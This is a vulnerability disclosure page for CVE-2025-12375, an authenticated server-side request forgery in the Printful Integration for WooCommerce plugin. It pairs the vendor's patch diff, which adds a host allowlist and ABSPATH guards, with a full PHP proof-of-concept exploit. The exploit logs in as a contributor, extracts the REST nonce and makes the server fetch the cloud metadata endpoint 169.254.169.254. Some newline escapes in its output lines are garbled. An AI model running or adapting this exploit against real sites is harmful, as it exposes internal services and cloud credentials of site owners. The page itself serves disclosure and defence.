CVE-2025-12375: Printful Integration for WooCommerce <= 2.2.11 – Authenticated (Contributor+) Server-Side Request Forgery (printful-shipping-for-woocommerce)

--- a/printful-shipping-for-woocommerce/includes/class-printful-client.php
+++ b/printful-shipping-for-woocommerce/includes/class-printful-client.php
@@ -197,7 +197,7 @@
 		}
 		$status = (int) $response['code'];
 		if ( $status < 200 || $status >= 300 ) {
-			throw new PrintfulApiException(  $response['result'], esc_html($status));
+			throw new PrintfulApiException(  esc_html($response['result']), esc_html($status));
 		}

 		return $response['result'];
--- a/printful-shipping-for-woocommerce/includes/class-printful-size-guide.php
+++ b/printful-shipping-for-woocommerce/includes/class-printful-size-guide.php
@@ -1,5 +1,6 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) exit;

 class Printful_Size_Guide {
 	/**
@@ -7,6 +8,10 @@
 	 */
 	const CSS_VERSION = '1';

+    const PF_ALLOWED_IMAGE_HOSTS = [
+        'files.cdn.printful.com',
+    ];
+
 	public static function init() {
 		$sizeGuide = new self();

@@ -164,7 +169,22 @@
 			return null;
 		}

-		require_once ABSPATH . 'wp-admin/includes/file.php';
+        if ( ! wp_http_validate_url( $url ) ) {
+            return new WP_Error( 'invalid_url', 'Invalid image URL' );
+        }
+
+        $parts = wp_parse_url( $url );
+        if ( empty( $parts['host'] ) ) {
+            return new WP_Error( 'invalid_url', 'Invalid image URL' );
+        }
+
+        $host = strtolower( $parts['host'] );
+
+        if ( ! in_array( $host, self::PF_ALLOWED_IMAGE_HOSTS, true ) ) {
+            return new WP_Error( 'invalid_url', 'Invalid image URL' );
+        }
+
+        require_once ABSPATH . 'wp-admin/includes/file.php';

 		// Download size guide img to temp file
 		$temp_file_name = download_url( $url, 20 );
--- a/printful-shipping-for-woocommerce/includes/templates/ajax-loader.php
+++ b/printful-shipping-for-woocommerce/includes/templates/ajax-loader.php
@@ -1,3 +1,7 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <div id="loader-block-<?php echo esc_attr($action); ?>">
 	<div class="block-loader loader-wrap">
 		<img src="<?php echo esc_url( admin_url( 'images/spinner-2x.gif' ) ); ?>" class="loader" width="20px" height="20px" alt="loader"/>
--- a/printful-shipping-for-woocommerce/includes/templates/connect.php
+++ b/printful-shipping-for-woocommerce/includes/templates/connect.php
@@ -4,6 +4,7 @@
  *
  * @var string $connect_url
  */
+if ( ! defined( 'ABSPATH' ) ) exit;
 ?>

 <div class="printful-connect">
--- a/printful-shipping-for-woocommerce/includes/templates/customizer-hidden-input.php
+++ b/printful-shipping-for-woocommerce/includes/templates/customizer-hidden-input.php
@@ -1 +1,5 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <input type="hidden" id="pfc_hash" name="pfc_hash" value="">
 No newline at end of file
--- a/printful-shipping-for-woocommerce/includes/templates/error.php
+++ b/printful-shipping-for-woocommerce/includes/templates/error.php
@@ -1 +1,5 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <p class="printful-error"><b><?php esc_html_e('Error:', 'printful'); ?></b> <?php echo wp_kses_post($error); ?></p>
 No newline at end of file
--- a/printful-shipping-for-woocommerce/includes/templates/footer.php
+++ b/printful-shipping-for-woocommerce/includes/templates/footer.php
@@ -1 +1,5 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 </div>
 No newline at end of file
--- a/printful-shipping-for-woocommerce/includes/templates/header.php
+++ b/printful-shipping-for-woocommerce/includes/templates/header.php
@@ -1,3 +1,7 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <div class="wrap">

 	<?php
--- a/printful-shipping-for-woocommerce/includes/templates/inline-script.php
+++ b/printful-shipping-for-woocommerce/includes/templates/inline-script.php
@@ -1,3 +1,7 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <script type="text/javascript">
 	<?php echo esc_js( $script ); ?>
 </script>
 No newline at end of file
--- a/printful-shipping-for-woocommerce/includes/templates/order-table.php
+++ b/printful-shipping-for-woocommerce/includes/templates/order-table.php
@@ -1,3 +1,6 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>

 <h2>Printful product orders</h2>

--- a/printful-shipping-for-woocommerce/includes/templates/personalize-button.php
+++ b/printful-shipping-for-woocommerce/includes/templates/personalize-button.php
@@ -6,6 +6,7 @@
  * @var string $site_url
  * @var string $pfc_button_text
  */
+if ( ! defined( 'ABSPATH' ) ) exit;
 ?>
 <a class="button"
    style="background-color: <?php esc_attr_e($pfc_button_color); ?>"
--- a/printful-shipping-for-woocommerce/includes/templates/quick-links.php
+++ b/printful-shipping-for-woocommerce/includes/templates/quick-links.php
@@ -1,3 +1,7 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <h2>Quick links</h2>

 <div class="printful-quick-links">
--- a/printful-shipping-for-woocommerce/includes/templates/reconnect.php
+++ b/printful-shipping-for-woocommerce/includes/templates/reconnect.php
@@ -4,6 +4,7 @@
  *
  * @var string $reconnect_url
  */
+if ( ! defined( 'ABSPATH' ) ) exit;
 ?>

 <div class="printful-setting-group">
--- a/printful-shipping-for-woocommerce/includes/templates/setting-group.php
+++ b/printful-shipping-for-woocommerce/includes/templates/setting-group.php
@@ -7,6 +7,7 @@
  * @var string $carrier_version
  * @var array $settings
  */
+if ( ! defined( 'ABSPATH' ) ) exit;
 ?>
 <div class="printful-setting-group">

--- a/printful-shipping-for-woocommerce/includes/templates/setting-submit.php
+++ b/printful-shipping-for-woocommerce/includes/templates/setting-submit.php
@@ -4,6 +4,7 @@
  *
  * @var bool $disabled
  */
+if ( ! defined( 'ABSPATH' ) ) exit;
 ?>
 <p class="printful-submit">
 	<input name="save" class="button-primary woocommerce-save-button
--- a/printful-shipping-for-woocommerce/includes/templates/shipping-notification.php
+++ b/printful-shipping-for-woocommerce/includes/templates/shipping-notification.php
@@ -1,3 +1,7 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <div class="printful-setting-group">
 	<h2><?php esc_html_e('Printful Shipping', 'printful'); ?></h2>
 	<p><?php esc_html_e('To enable/disable Printful shipping for your store go to', 'printful'); ?> <a href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=shipping&section=printful_shipping' ) ); ?>"><?php esc_html_e('WooCommerce Shipping settings', 'printful'); ?></a>.</p>
--- a/printful-shipping-for-woocommerce/includes/templates/size-guide-button.php
+++ b/printful-shipping-for-woocommerce/includes/templates/size-guide-button.php
@@ -5,6 +5,7 @@
  * @var string $size_guide_button_color
  * @var string $size_guide_button_text
  */
+if ( ! defined( 'ABSPATH' ) ) exit;
 ?>
 <a href="javascript:" style="color: <?php esc_attr_e($size_guide_button_color); ?>"
    onclick="Printful_Product_Size_Guide.onSizeGuideClick()">
--- a/printful-shipping-for-woocommerce/includes/templates/stats.php
+++ b/printful-shipping-for-woocommerce/includes/templates/stats.php
@@ -1,3 +1,7 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <div class="printful-stats">
 	<div class="printful-stats-item">
 		<h4><?php echo esc_html(get_woocommerce_currency_symbol($stats['currency'])) . ' ' . esc_html($stats['orders_today']['total']); ?></h4>
--- a/printful-shipping-for-woocommerce/includes/templates/status-report.php
+++ b/printful-shipping-for-woocommerce/includes/templates/status-report.php
@@ -1,3 +1,7 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <div class="support-report-wrap">
 	<p>
 		<?php esc_html_e('Copy the box content below and add it to your support message', 'printful'); ?>
--- a/printful-shipping-for-woocommerce/includes/templates/status-table.php
+++ b/printful-shipping-for-woocommerce/includes/templates/status-table.php
@@ -1,3 +1,7 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <?php if ( $checklist['overall_status'] ) {
 	?>
 	<div class="notice notice-success">
--- a/printful-shipping-for-woocommerce/includes/templates/support-info.php
+++ b/printful-shipping-for-woocommerce/includes/templates/support-info.php
@@ -1,3 +1,7 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+?>
+
 <div class="support-info-wrap">

 	<div class="support-info-block">
--- a/printful-shipping-for-woocommerce/printful-shipping.php
+++ b/printful-shipping-for-woocommerce/printful-shipping.php
@@ -3,7 +3,7 @@
 Plugin Name: Printful Integration for WooCommerce
 Plugin URI: https://wordpress.org/plugins/printful-shipping-for-woocommerce/
 Description: Connects your Printful account with WooCommerce.
-Version: 2.2.11
+Version: 2.2.12
 Author: Printful
 Author URI: http://www.printful.com
 License: GPL3 https://www.gnu.org/licenses/gpl-3.0.en.html
@@ -28,7 +28,7 @@

 class Printful_Base {

-	const VERSION = '2.2.11';
+	const VERSION = '2.2.12';
 	const PF_HOST = 'https://www.printful.com/';
 	const PF_API_HOST = 'https://api.printful.com/';

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12375 - Printful Integration for WooCommerce <= 2.2.11 - Authenticated (Contributor+) Server-Side Request Forgery

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
$internal_target = 'http://169.254.169.254/latest/meta-data/';

// Step 1: Authenticate to WordPress and obtain nonce for REST API
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get login page to retrieve nonce (log) and redirect_to parameters
$response = curl_exec($ch);
preg_match('/name="log" value="([^"]*)"/', $response, $log_match);
preg_match('/name="redirect_to" value="([^"]*)"/', $response, $redirect_match);

$log_nonce = $log_match[1] ?? '';
$redirect_to = $redirect_match[1] ?? $admin_url;

// Prepare login POST data
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $redirect_to,
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));

$response = curl_exec($ch);

// Step 2: Access admin to get REST API nonce (wp_rest)
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

preg_match('/wpApiSettings.*"nonce":"([a-f0-9]+)"/', $response, $nonce_matches);
$rest_nonce = $nonce_matches[1] ?? '';

if (empty($rest_nonce)) {
    die('Failed to obtain REST API nonce. Authentication may have failed.');
}

// Step 3: Exploit the SSRF via the Printful size guide REST endpoint
// The endpoint is /wp-json/printful/v1/size-guide/advanced-chart
$exploit_url = $target_url . '/wp-json/printful/v1/size-guide/advanced-chart';

$exploit_payload = json_encode([
    'url' => $internal_target
]);

$headers = [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $rest_nonce
];

curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_HEADER, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Response Code: $http_coden";
echo "Response Body:n";
echo $response . "n";

curl_close($ch);

// Clean up
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>